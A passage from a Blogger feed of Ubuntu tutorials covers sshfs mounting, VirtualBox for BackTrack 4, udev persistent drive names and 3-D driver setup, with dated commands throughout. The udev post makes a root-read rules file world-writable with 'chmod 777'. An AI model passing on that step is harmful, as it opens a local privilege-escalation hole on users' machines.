/usr/bin/fusermount&lt;br /&gt;         &lt;br /&gt;&lt;br /&gt;Now you need to make the mount point you plan to use on your local machine. In my case, this would be /home/scott/tunes:&lt;br /&gt;&lt;br /&gt;$ mkdir /home/scott/tunes&lt;br /&gt;         &lt;br /&gt;&lt;br /&gt;In order for sshfs to work, you have to load the fuse module. For now, go ahead and run this command:&lt;br /&gt;&lt;br /&gt;$ sudo modprobe fuse&lt;br /&gt;         &lt;br /&gt;&lt;br /&gt;I know you don't want to have to run that command every time you want to mount with sshfs, so use the following command to tell Ubuntu to automatically load the fuse module when you boot:&lt;br /&gt;&lt;br /&gt;$ sudo sh -c "echo 'fuse' &gt;&gt; /etc/modules"&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Be very careful and use &gt;&gt; instead of &gt; (in other words, append instead of overwrite)! If you accidentally use &gt;, you will hose your box and none of your modules will load on boot. For that reason alone, you really should back up up /etc/modules first, with sudo cp /etc/modules /etc/modules_bak.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Now for the final step: mount /var/music on sophocles to /home/scott/tunes on euripides. The syntax of the command is as follows:&lt;br /&gt;$ sshfs &lt;br /&gt;            &lt;br /&gt;               user@&lt;br /&gt;            &lt;br /&gt;            [&lt;br /&gt;            &lt;br /&gt;               IP&lt;br /&gt;            &lt;br /&gt;            |&lt;br /&gt;            &lt;br /&gt;               HOSTNAME of remote machine&lt;br /&gt;            &lt;br /&gt;            ]&lt;br /&gt;            &lt;br /&gt;               :/shared/path /local/mount/point&lt;br /&gt;            &lt;br /&gt;         &lt;br /&gt;&lt;br /&gt;If your username is the same on the remote and local machines, you can leave it off. DNS will work either on your LAN, if you have an entry for the server in your /etc/hosts file, or over the Net to a machine with a registered address. Otherwise, use the computer's IP address. If you don't specify a path after the colon, sshfs mounts the home directory for the SSH user, which may be all that you want. In my case, my username is the same on both boxes, I have an entry for sophocles in the /etc/hosts file, and I want to mount a specific directory on the computer, so my command looks like this:&lt;br /&gt;&lt;br /&gt;$ sshfs sophocles:/var/music /home/scott/tunes&lt;br /&gt;&lt;i&gt;&lt;br /&gt;If you get the error "fusermount: failed to open /dev/fuse: Permission denied," add yourself to the fuse group with sudo addgroup username fuse, log out, log back in again, and try the command again.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Now I can open my favorite music player, point it to /home/scott/tunes, and start enjoying jazz, rock, country, or whatever it is that floats my boat. Remember, it's all secure, so I don't have to worry about anyone sniffing packets and finding out what's moving around on my network.&lt;br /&gt;To unmount, you have a choice. You can use the fusermount command with the -u option (for "unmount"):&lt;br /&gt;$ fusermount -u /home/scott/tunes&lt;br /&gt;         &lt;br /&gt;&lt;br /&gt;Or it might be simpler just to use the good ol' umount command:&lt;br /&gt;$ sudo umount /home/scott/tunes&lt;br /&gt;         &lt;br /&gt;&lt;br /&gt;If I knew that I wanted to make my connection to sophocles whenever I booted, I could add the following to /etc/fstab:&lt;br /&gt;sophocles:/var/music /home/scott/tunes fuse defaults 0 0&lt;br /&gt;&lt;br /&gt;The first three items are different from the usual fstab entries, with the first two exactly like the sshfs command you just used, and fuse indicating to your computer the kind of filesystem it's going to mount. If you want to change the other entries and you know what you're doing (run man fstab to learn more), go right ahead.&lt;br /&gt;Once you discover sshfs, you're going to use it all the time. There's no reason not to: it works beautifully, and the added benefit of security is icing on the cake. Thank you, sshfs! &lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-3657188787026694659?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/3657188787026694659'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/3657188787026694659'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2010/02/mount-remote-directories-securely-and.html' title='Mount Remote Directories Securely and Easily'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-7000278613419015285</id><published>2010-02-25T19:45:00.002+07:00</published><updated>2011-08-17T22:07:10.412+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tutorial'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>Using BT4 On VirtualBox</title><content type='html'>Just some quick installation notes for those looking wanting to install the recent &lt;a href="http://virtualbox.org/" target="_blank"&gt;Virtualbox&lt;/a&gt; release (3.0.4) for &lt;a href="http://www.remote-exploit.org/backtrack_download.html/" target="_blank"&gt;Backtrack 4&lt;/a&gt;. In case you don't know yet - BT4 is the most top rated linux live distribution focused on penetration testing. The new &lt;a href="http://debian.org/" target="_blank"&gt;Debian&lt;/a&gt; core (Ubuntu 8.10) makes Backtrack 4 easily extendable.&lt;br /&gt;( skip the ads )&lt;br /&gt;I'm a huge fan of &lt;a href="http://adf.ly/2NcBU" target="_blank"&gt;Backtrack&lt;/a&gt; and use it as primary Operating System (HD Installation) on one of my laptops, currently studying for the Offensive Security course "Penetration Testing with BackTrack".&lt;br /&gt;&lt;br /&gt;If you are looking for some pointers to get BT4 persistent changes without HD installation, @kriggins "Backtrack 4 USB persistent changes Nessus HowTo" is highly recommended.&lt;br /&gt;&lt;br /&gt;Installation&lt;br /&gt;&lt;br /&gt;Add the following line to your /etc/apt/sources.list:&lt;br /&gt;&lt;br /&gt;deb http://download.virtualbox.org/virtualbox/debian intrepid non-free&lt;br /&gt;Add the following key to your keyring (verify!):&lt;br /&gt;&lt;br /&gt;# wget -q http://download.virtualbox.org/virtualbox/debian/sun_vbox.asc -O- | sudo apt-key add -&lt;br /&gt;Update your package cache&lt;br /&gt;&lt;br /&gt;# apt-get update&lt;br /&gt;Install Virtualbox packages&lt;br /&gt;&lt;br /&gt;# apt-get install virtualbox-3.0&lt;br /&gt;answer the prompt "Should the vboxdrv kernel module be compiled now?" with "Yes"&lt;br /&gt;&lt;br /&gt;If it fails, have a look at /var/log/vbox-install.log and re-run /etc/init.d/vboxdrv setup after fixing the problem (usually missing header files, compiler, etc.)&lt;br /&gt;&lt;br /&gt;start via "/usr/bin/VirtualBox" (case-sensitive!)&lt;br /&gt;Virtualbox is now ready, have fun!&lt;br /&gt;&lt;br /&gt;&lt;a href="http://silent-consultant.blogspot.com/2010/01/how-to-installing-virtualbox-backtrack.html"&gt;...Keep reading&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;[ &lt;a href="http://www.thatcoin.com"&gt;Thatcoin.com &lt;/a&gt;]&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-7000278613419015285?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/7000278613419015285'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/7000278613419015285'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2010/02/using-bt4-on-virtualbox.html' title='Using BT4 On VirtualBox'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-3601303934687213693</id><published>2010-02-13T20:29:00.000+07:00</published><updated>2010-02-13T20:29:23.641+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tutorial'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Mount Removable Devices with Persistent Names</title><content type='html'>Mount your USB drive so it appears as /media/music every time. Mount your FireWire drive so it appears as /media/data every time. &lt;br /&gt;My storage setup on my Ubuntu box at home is a bit unusual. I have an external drive dedicated to music and another external drive that backs up the music drive. I also have an external drive to hold all my personal documents, pictures, and movies, with another external drive to back up that drive. Those four drives are all connected to my desktop via FireWire. Finally, I have an external drive that's a temp drive: when I download a new movie or set of pictures, or rip a new CD, I keep those files on the temp drive until I can properly place them on the music or personal data drive. Unlike the other four, the temp drive uses USB.&lt;br /&gt;&lt;br /&gt;Five drives sounds cool, but there's a major annoyance associated with them. When I reboot Ubuntu (a rare occasion, to be sure, but it does happen), their mount points shift around. Sometimes FireWire drive number one gets /media/sdb1, and sometimes /media/sdc1. The same thing happens to the other drives as well, which wreaks havoc with my backup scripts and my attempts to SSH in from other machines, to name just two problems I've experienced. I want persistent naming of those drives, so that FireWire number one is always /media/&lt;something&gt;, FireWire number two is always /media/&lt;somethingelse&gt;, and so on.&lt;br /&gt;&lt;br /&gt;After much searching, I found the answer on the Ubuntu forums, at http://ubuntuforums.org/showthread.php?t=91948, and in an excellent overview by Daniel Drake titled "Writing udev rules" (http://www.reactivated.net/writing_udev_rules.html). Basically, Ubuntu includes a technology called udev, which manages dynamic devices. I can tell udev how I want it to label each separate drive when I plug it in, a far more efficient and usable method than the default. Here's how to do so.&lt;br /&gt;You're going to be editing a file found at /etc/udev/rules.d/10-local.rules. Check to see if that file already exists on your hard drive:&lt;br /&gt;$ ls /etc/udev/rules.d/10-local.rules&lt;br /&gt;         &lt;br /&gt;&lt;br /&gt;If it's already there, then you're going to edit it; if it's not there currently, go ahead and create a blank file with the proper name and permissions:&lt;br /&gt;$ sudo touch /etc/udev/rules.d/10-local.rules&lt;br /&gt;$ sudo chmod 777 /etc/udev/rules.d/10-local.rules&lt;br /&gt;         &lt;br /&gt;&lt;br /&gt;At the end of the process described in this hack, the devices will be listed in the 10-local.rules file. The USB drive, for instance, will look like this:&lt;br /&gt;BUS=="usb", SYSFS{serial}=="6R0000065086", NAME{all_partitions}=="temp"&lt;br /&gt;&lt;br /&gt;The first partBUS=="usb"is obvious; that's how that drive connects to the machine. The third partNAME{all_partitions}=="temp"makes sense too, since "temp" is the name I want the drive to use in the future as its mount point, instead of /media/sdb1 or whatever else Ubuntu decides to use. But what about that second part? Where is "6R0000065086" coming from?&lt;br /&gt;In order for udev to work, it has to know which specific drive I want to label "temp". When I plug in a drive (or any dynamic device), the drive identifies itself in a whole host of ways. I need to pick a unique data point that I can pass to udev to use for identification. To see what udev sees when you plug in a drive, I run the following command (notice that the path given is the current path that Ubuntu has assigned to the drivein this case, /dev/sda):&lt;br /&gt;$ udevinfo -a -p $(udevinfo -q path -n /dev/sda)&lt;br /&gt;         &lt;br /&gt;&lt;br /&gt;Once I press Enter, an enormous amount of data streams by, looking something like this (this listing has been greatly truncated for length):&lt;br /&gt;device '/sys/block/sda' has major:minor 8:0&lt;br /&gt;  looking at class device '/sys/block/sda':&lt;br /&gt;    SUBSYSTEM=="block" &lt;br /&gt;    SYSFS{dev}=="8:0" &lt;br /&gt;    SYSFS{range}=="16" &lt;br /&gt;  SYSFS{removable}=="0" &lt;br /&gt; SYSFS{size}=="488397168" &lt;br /&gt;    SYSFS{stat}==" 2159 102 16586 1871738 28 17 360 204 0 14257  1871942" &lt;br /&gt;&lt;br /&gt;...&lt;br /&gt;&lt;br /&gt;  looking at the device chain at &lt;br /&gt;'/sys/devices/pci0000:00/0000:00:1e.0/0000:05:09.2/usb4/4-1/4-1.2/4-1.2:1.0':&lt;br /&gt; BUS=="usb" &lt;br /&gt;    ID=="4-1.2:1.0" &lt;br /&gt;    DRIVER=="usb-storage" &lt;br /&gt;    SYSFS{bAlternateSetting}==" 0" &lt;br /&gt;    SYSFS{bInterfaceClass}=="08" &lt;br /&gt;    SYSFS{bInterfaceNumber}=="00" &lt;br /&gt;    SYSFS{bInterfaceProtocol}=="50" &lt;br /&gt;    SYSFS{bInterfaceSubClass}=="06" &lt;br /&gt;    SYSFS{bNumEndpoints}=="02" &lt;br /&gt;    SYSFS{modalias}=="usb:v04B4p6830d0001dc00dsc00dp00ic08isc06ip50" &lt;br /&gt;&lt;br /&gt;  looking at the device chain at &lt;br /&gt;'/sys/devices/pci0000:00/0000:00:1e.0/0000:05:09.2/usb4/4-1/4-1.2':&lt;br /&gt;    BUS=="usb" &lt;br /&gt;    ID=="4-1.2" &lt;br /&gt;    DRIVER=="usb" &lt;br /&gt;    SYSFS{bConfigurationValue}=="1" &lt;br /&gt;    SYSFS{bDeviceClass}=="00" &lt;br /&gt;    SYSFS{bDeviceProtocol}=="00" &lt;br /&gt;    SYSFS{bDeviceSubClass}=="00" &lt;br /&gt;    SYSFS{bMaxPower}=="  0mA" &lt;br /&gt;    SYSFS{bNumConfigurations}=="1" &lt;br /&gt;    SYSFS{bNumInterfaces}==" 1" &lt;br /&gt;    SYSFS{bcdDevice}=="0001" &lt;br /&gt;    SYSFS{bmAttributes}=="c0" &lt;br /&gt;    SYSFS{configuration}=="" &lt;br /&gt;    SYSFS{devnum}=="3" &lt;br /&gt;    SYSFS{idProduct}=="6830" &lt;br /&gt;    SYSFS{idVendor}=="04b4" &lt;br /&gt;    SYSFS{manufacturer}=="Cypress Semiconductor" &lt;br /&gt;    SYSFS{maxchild}=="0" &lt;br /&gt;    SYSFS{product}=="USB2.0 Storage Device" &lt;br /&gt;    SYSFS{serial}=="6R0000065086" &lt;br /&gt;    SYSFS{speed}=="480" &lt;br /&gt;    SYSFS{version}==" 2.00" &lt;br /&gt;&lt;br /&gt;...&lt;br /&gt;&lt;br /&gt;See the line in bold that says SYSFS{serial}=="6R0000065086"? That's the unique serial number for this device, so that's exactly what I'll use in the line I'm adding to 10-local.rules. Notice also that the line BUS=="usb" is also present, in case I don't know how /dev/sda is connected to my box (hey, with five drives, it could happen!). Once again, then, the new line in /etc/udev/rules.d/10-local.rules is:&lt;br /&gt;BUS=="usb", SYSFS{serial}=="6R0000065086", NAME{all_partitions}=="temp"&lt;br /&gt;&lt;br /&gt;I need to repeat the process for any other drives as well. Although the next four drives are all connected with FireWire, the process is the same; it's just the listings that are different:&lt;br /&gt;$ udevinfo -a -p $(udevinfo -q path -n /dev/sdb)&lt;br /&gt;&lt;br /&gt;device '/sys/block/sdb' has major:minor 8:16&lt;br /&gt;  looking at class device '/sys/block/sdb':&lt;br /&gt;    SUBSYSTEM=="block" &lt;br /&gt;    SYSFS{dev}=="8:16" &lt;br /&gt;    SYSFS{range}=="16" &lt;br /&gt; SYSFS{removable}=="0" &lt;br /&gt; SYSFS{size}=="234441648" &lt;br /&gt;    SYSFS{stat}=="1166 102 8386 739882 27 16 344 52 0 6575 739934" &lt;br /&gt;&lt;br /&gt;...&lt;br /&gt;&lt;br /&gt;  looking at the device chain at &lt;br /&gt;'/sys/devices/pci0000:00/0000:00:1e.0/0000:05:04.0/fw-host0/0030e0f4e020dca0/0030e0f4e020dca0-0':&lt;br /&gt; BUS=="ieee1394" &lt;br /&gt;    ID=="0030e0f4e020dca0-0" &lt;br /&gt;    DRIVER=="sbp2" &lt;br /&gt;  SYSFS{address}=="0x0000fffff0000830" &lt;br /&gt;    SYSFS{ignore_driver}=="0" &lt;br /&gt;    SYSFS{length}=="0" &lt;br /&gt;    SYSFS{model_id}=="0x000001" &lt;br /&gt;    SYSFS{model_name_kv}=="OXFORD IDE Device LUN 0 " &lt;br /&gt;    SYSFS{specifier_id}=="0x00609e" &lt;br /&gt;    SYSFS{version}=="0x010483" &lt;br /&gt;&lt;br /&gt;  looking at the device chain at &lt;br /&gt;'/sys/devices/pci0000:00/0000:00:1e.0/0000:05:04.0/fw-host0/0030e0f4e020dca0':&lt;br /&gt; BUS=="ieee1394" &lt;br /&gt;    ID=="0030e0f4e020dca0" &lt;br /&gt;    DRIVER=="unknown" &lt;br /&gt; SYSFS{bus_options}=="IRMC_0_ CMC_0_ ISC_0_ BMC_0_ PMC_0_ GEN_0_ &lt;br /&gt;   LSPD_2_ MAX_REC_64_ MAX_ROM_0_ CYC_CLK_ACC_255_" &lt;br /&gt;    SYSFS{capabilities}=="0x0083c0" &lt;br /&gt;    SYSFS{guid_vendor_id}=="0x0030e0" &lt;br /&gt; SYSFS{guid}=="0x0030e0f4e020dca0" &lt;br /&gt;    SYSFS{nodeid}=="0xffc0" &lt;br /&gt;    SYSFS{tlabels_allocations}=="1262" &lt;br /&gt;    SYSFS{tlabels_free}=="64" &lt;br /&gt;    SYSFS{tlabels_mask}=="0x05965272090596527209" &lt;br /&gt;    SYSFS{vendor_id}=="0x0030e0" &lt;br /&gt;    SYSFS{vendor_name_kv}=="Oxford Semiconductor Ltd.   " &lt;br /&gt;&lt;br /&gt;...&lt;br /&gt;&lt;br /&gt;In this instance, udevinfo tells me how this drive is connected to my Ubuntu desktop: BUS=="ieee1394" (remember that IEEE1394 is the official name for FireWire). FireWire drives don't include SYSFS{serial} like USB drives do; instead, their unique identifiers are SYSFS{guid}. This particular drive holds my personal files, so I want it to show up as /media/data. Put all that together, and I add this line to /etc/udev/rules.d/10-local.rules:&lt;br /&gt;BUS=="ieee1394", SYSFS{guid}=="0x0030e0f4e020e229", NAME{all_ &lt;br /&gt; &lt;br /&gt;&lt;br /&gt;partitions}=="data"&lt;br /&gt;&lt;br /&gt;After performing the same task three more times, /etc/udev/rules.d/10-local.rules looks like this:&lt;br /&gt;BUS=="usb", SYSFS{serial}=="6R0000065086", NAME{all_partitions}=="temp" &lt;br /&gt;BUS=="ieee1394", SYSFS{guid}=="0x0030e0f4e020e229", &lt;br /&gt;NAME{all_partitions}=="data" &lt;br /&gt;BUS=="ieee1394", SYSFS{guid}=="0x0030e0f4e020dca0", &lt;br /&gt;NAME{all_partitions}=="data_copy" &lt;br /&gt;BUS=="ieee1394", SYSFS{guid}=="0x0030e0f4e020912c", &lt;br /&gt;NAME{all_partitions}=="music" &lt;br /&gt;BUS=="ieee1394", SYSFS{guid}=="0x0030e0f4e020c727", &lt;br /&gt;NAME{all_partitions}=="music_copy"&lt;br /&gt;&lt;br /&gt;Now I need to test my changes to make sure they'll actually work. First, I need to restart udev, the subsystem that is managing all this craziness:&lt;br /&gt;$ sudo /etc/init.d/udev restart&lt;br /&gt;         &lt;br /&gt;&lt;br /&gt;Now I'll test the rules for the USB external drive to make sure everything will work. To test, I use udevtest. The syntax of the command is:&lt;br /&gt;$ sudo udevtest &lt;br /&gt;            &lt;br /&gt;               sysfs_device_path&lt;br /&gt;            &lt;br /&gt;             &lt;br /&gt;            &lt;br /&gt;               subsystem&lt;br /&gt;            &lt;br /&gt;         &lt;br /&gt;&lt;br /&gt;How do I know what the sysfs_device_path and subsystem are? Look back when I ran udevinfo -a -p $(udevinfo -q path -n /dev/sda) and notice the first things reported back to me:&lt;br /&gt;looking at class device '/sys/block/sda':&lt;br /&gt;  SUBSYSTEM=="block"&lt;br /&gt;&lt;br /&gt;My udevtest command therefore looks like this:&lt;br /&gt;$ sudo udevtest /sys/block/sda block&lt;br /&gt;         &lt;br /&gt;&lt;br /&gt;The results appear immediately below it (some error messages about other items in udev that aren't important here have been removed):&lt;br /&gt;udevtest.c: looking at device '/block/sda' from subsystem 'block'&lt;br /&gt;...&lt;br /&gt;udevtest.c: opened class_dev-&gt;name='sda'&lt;br /&gt;udev_rules.c: configured rule in '/etc/udev/rules.d/10-local.rules:1' applied, 'sda' becomes 'temp'&lt;br /&gt;udev_add.c: creating device node '/dev/temp', major = '8', minor = '0', mode = '0640', uid = '0', gid = '46'&lt;br /&gt;udev_add.c: creating device partition nodes '/dev/temp[1-15]'&lt;br /&gt;&lt;br /&gt;Excellent! Now I know that udev would in fact create a device name /dev/tempand therefore a mount point at /media/tempinstead of /dev/sda and /media/sda, and will always use that in the future. By the way, don't worryeven though the output says it was creating nodes, it really wasn't. It was just showing me what it would do when it runs for real.&lt;br /&gt;So I know the USB drive works, but what about one of the FireWire drives?&lt;br /&gt;$ sudo udevtest /sys/block/sdd block&lt;br /&gt;         &lt;br /&gt;&lt;br /&gt;Here are the results for that drive (again, some unnecessary data has been removed):&lt;br /&gt;udevtest.c: looking at device '/block/sdd' from subsystem 'block'&lt;br /&gt;...&lt;br /&gt;udevtest.c: opened class_dev-&gt;name='sdd'&lt;br /&gt;udev_rules.c: configured rule in '/etc/udev/rules.d/10-local.rules:5' applied, 'sdd' becomes 'music_copy'&lt;br /&gt;udev_add.c: creating device node '/dev/music_copy', major = '8', minor = '48', mode = '0640', uid = '0', gid = '46'&lt;br /&gt;udev_add.c: creating device partition nodes '/dev/music_copy[1-15]'&lt;br /&gt;&lt;br /&gt;Exactly what I wanted, so it looks like everything will work as intended. Now I restart the machine, and lo and behold, my drives appear, just as I wanted them:&lt;br /&gt;/media/temp&lt;br /&gt;/media/data&lt;br /&gt;/media/data_copy&lt;br /&gt;/media/music&lt;br /&gt;/media/music_copy&lt;br /&gt;&lt;br /&gt;Of course, there's nothing stopping you from setting up udev so that your digital camera always shows up as /media/camera. Or so your iRiver music jukebox consistently mounts as /media/iriver. And so on. Basically, if your system sees it as a dynamic device, you can use udev to map it to a specific mount point.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-3601303934687213693?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/3601303934687213693'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/3601303934687213693'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2010/02/mount-removable-devices-with-persistent.html' title='Mount Removable Devices with Persistent Names'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-8343064931790556928</id><published>2010-02-13T20:26:00.000+07:00</published><updated>2010-02-13T20:26:18.347+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tutorial'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Enable 3-D Video Acceleration</title><content type='html'>After a fresh install, X11 is probably not configured to take full advantage of your graphics card. Learn how to take advantage of proprietary drivers to configure your video card for top speed. &lt;br /&gt;Modern graphics cards are actually quite powerful little computers in their own right. Squeezing maximum performance out of them requires them to be set up the right way.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Measure Performance&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;To see how well your system is currently performing and give yourself a baseline to compare against after making changes, you can use a game such as Unreal Tournament 2004 or Quake III to measure graphic-card performance, both of which have "timedemo" modes that run through a defined sequence of events as fast as possible and report the average framerate achieved. An alternative is to use the glxgears utility (run glxgears -printfps), which is included with the mesa-utils package, but it's such a simple application that it really doesn't stress any decent 3-D hardware, so the framerate figures it generates aren't much use as a benchmark. If you get anything less than about 2,000 fps in glxgears, your video card could probably do with a tune-upor replacement!&lt;br /&gt;&lt;b&gt;&lt;br /&gt;Identify Your Video Card&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;To get your video card running at maximum speed, you need to know what brand and model it is so you can select the best drivers. Video cards are generally installed as PCI, PCI-X, or AGP cards, or are provided directly on the motherboard. In reality, all of these card types are just variations on the basic PCI technology, and even onboard video cards are essentially just PCI devices that happen to be permanently installed on the motherboard. This makes it very easy to identify your card by scanning the PCI bus using lspci:&lt;br /&gt;&lt;br /&gt;$ lspci -X&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;The -X flag tells lspci to report device identifiers in the format used by the X Windows configuration files rather than in native format.&lt;br /&gt;You can also tell lspci to report in "verbose" mode:&lt;br /&gt;&lt;br /&gt;$ lspci -v&lt;br /&gt;            &lt;br /&gt;Verbose mode provides you a bit more information about each device. Unfortunately, the -X and -v flags can't be combined, so you have to run them separately.&lt;br /&gt;Look in the reported device list for an entry that says "VGA compatible controller." The device string will include the manufacturer and model. The most common brands of high-performance 3-D card are nVidia, ATI, and Matrox, although some embedded video cards use chipsets from Intel or other manufacturers.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Drivers&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Drivers for video cards have been something of a sore point for open source developers over the last couple of years. Modern video cards are essentially very small, very high-performance computers with their own CPUs and memory, and the drivers are an essential part of what makes them work. The manufacturers tend to guard their driver technology greedily and release only precompiled drivers in binary format that may be used but not modified or reverse-engineered. This runs counter to the ideals of many open source developers who insist that all software, including drivers, should be available in source code format. Thus, many high-performance video cards have at least two sets of drivers available: binary drivers provided by the manufacturer and open source drivers developed by third parties who examine the cards and try to write drivers that will work with them.&lt;br /&gt;Binary drivers have the advantage that they generally offer higher performance and make use of all the features of the card, but they cannot be modified or examined by other developers and can't be compiled to run on different hardware architectures not supported by the manufacturer.&lt;br /&gt;Open source drivers have the advantage of running on more types of hardware because developers can modify them to suit their own requirements, but the disadvantage is that the developers don't have access to internal information about the video-card hardware and may not be able to achieve high performance or make use of all features of the card.&lt;br /&gt;The Ubuntu commitment to ship only free software means binary drivers aren't available in the base distribution, but if you want maximum performance from your 3-D card, you will need to install the binary drivers from the universe and multiverse repositories, or directly from the card manufacturer's web site. &lt;br /&gt;&lt;br /&gt;&lt;b&gt;nVidia&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;The open source driver for nVidia cards is called nv and comes as part of the basic Xorg installation in Dapper, but for maximum performance, install the binary nvidia driver, which is part of the linux-restricted-modules package. The linux-restricted-modules package comes in several different versions to suit the different kernels, so check which kernel version you are running:&lt;br /&gt;&lt;br /&gt;$ uname -r&lt;br /&gt;&lt;br /&gt;2.6.15-17-686&lt;br /&gt;&lt;br /&gt;Then install the matching linux-restricted-modules package:&lt;br /&gt;&lt;br /&gt;$ sudo apt-get install linux-restricted-modules-2.6.15-17-686&lt;br /&gt;&lt;br /&gt;You will also need either the nvidia-glx or the nvidia-glx-legacy package, depending on the specific card model. If your card is an older modelsuch as the TNT, TNT2, TNT Ultra, GeForce, or GeForce2install the nvidia-glx-legacy package. If it's a newer modelsuch as a 4-series, 6-series, nForce, Quadro, or FX-seriesinstall nvidia-glx:&lt;br /&gt;&lt;br /&gt;$ sudo apt-get install nvidia-glx&lt;br /&gt;&lt;br /&gt;Edit /etc/X11/xorg.conf and look for a line that says something like:&lt;br /&gt;&lt;br /&gt;Driver          "nv"&lt;br /&gt;&lt;br /&gt;Edit it to specify the nvidia driver:&lt;br /&gt;&lt;br /&gt;Driver          "nvidia"&lt;br /&gt;&lt;br /&gt;Exit from your GNOME session. Then, when you are back at the login prompt, press Ctrl-Alt-Backspace to kill off the X server and force it to restart. As X restarts, you will probably see a big nVidia logo flash on the screen, showing that it has loaded the binary nvidia driver rather than the default nv driver. Log back in to GNOME, start up glxgears, and see if your framerate has improved.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;ATI&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;If you have an ATI card that was auto-configured by Ubuntu, it's probably running either the ati or radeon driver. For maximum performance with cards in the "Radeon" series, 9-series, X-series, or TV-Out-capable ATI cards, you can install the fglrx driver, and if your card is an 8500 or better, you can also install ATI's proprietary driver.&lt;br /&gt;Installing the fglrx driver is very easy:&lt;br /&gt;&lt;br /&gt;$ sudo apt-get install xorg-driver-fglrx&lt;br /&gt;&lt;br /&gt;Then edit /etc/X11/xorg.conf, look for a line that lists either the ati or radeon driver:&lt;br /&gt;&lt;br /&gt;Driver          "ati"&lt;br /&gt;&lt;br /&gt;and replace it with the fglrx driver:&lt;br /&gt;&lt;br /&gt;Driver          "fglrx"&lt;br /&gt;&lt;br /&gt;Installing ATI's proprietary driver requires a few more steps but may produce better performance on the latest cards. Start by going to http://support.ati.com and navigating to the Linux drivers. Download the ATI Driver Installer, not the specific Xorg driverbecause that's packaged as an RPM, and you need to build a .deb instead. Once the (very large!) driver file has downloaded, install some supporting packages and configure the driver. It helps keep things neat if you do this in a subdirectory:&lt;br /&gt;&lt;br /&gt;$ sudo apt-get install fakeroot gcc-3.4 module-assistant \\ &lt;br /&gt;                    build-essential debhelper&lt;br /&gt;$ mkdir ATI&lt;br /&gt;$ mv ati-driver-installer-8.22.5-i386.run ATI/; cd ATI&lt;br /&gt;$ chmod +x ati-driver-installer-8.22.5-i386.run&lt;br /&gt;$ fakeroot ./ati-driver-installer-8.22.5-i386.run&lt;br /&gt;               &lt;br /&gt;The installer will ask you a couple of questions: answer "Generate distribution specific packages," then "Ubuntu," and then "Dapper." Once the installer finishes, it will have created a nice little Debian package that you can install:&lt;br /&gt;&lt;br /&gt;$ sudo dpkg -i *.deb&lt;br /&gt;$ sudo module-assistant build,install fglrx-kernel&lt;br /&gt;&lt;br /&gt;Edit /etc/X11/xorg.conf to use the fglrx driver, as described earlier, reboot, and you're done.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Matrox&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Matrox also makes available a proprietary driver that you can build as a Linux kernel module. First, install the kernel headers to use when building the new module:&lt;br /&gt;&lt;br /&gt;$ sudo apt-get install linux header \Quname -r\Q &lt;br /&gt;               &lt;br /&gt;&lt;br /&gt;Then download the latest driver installer from Matrox at 